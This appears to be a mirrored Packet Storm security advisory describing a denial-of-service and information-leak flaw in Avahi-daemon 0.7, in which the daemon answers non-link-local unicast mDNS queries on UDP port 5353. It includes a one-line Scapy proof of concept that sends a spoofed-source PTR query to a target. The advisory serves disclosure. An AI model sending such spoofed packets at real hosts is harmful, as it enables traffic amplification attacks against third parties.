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Avahi 0.7 Denial Of Service
🗓️ 28 Nov 2018 00:00:00Reported by Krzysztof BurghardtType 
packetstorm🔗 packetstormsecurity.com👁 65 Views
`Hi!
Avahi-daemon in Avahi through 0.7 inadvertently sends Legacy Unicast
Responses to IPv4 unicast queries with source addresses that are not
link-local, which allows remote attackers to cause a denial of service
(traffic amplification) or obtain potentially sensitive information
via port-5353 UDP packets.
send(IP(src="1.1.1.1",dst="192.168.1.1")/UDP(sport=53,
dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local.")))
Author was notified by his bug tracker:
https://github.com/lathiat/avahi/issues/203
Regards,
--
Krzysztof Burghardt <[email protected]>
http://www.burghardt.pl/
`
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28 Nov 2018 00:00Current
7.4High risk
Vulners AI Score7.4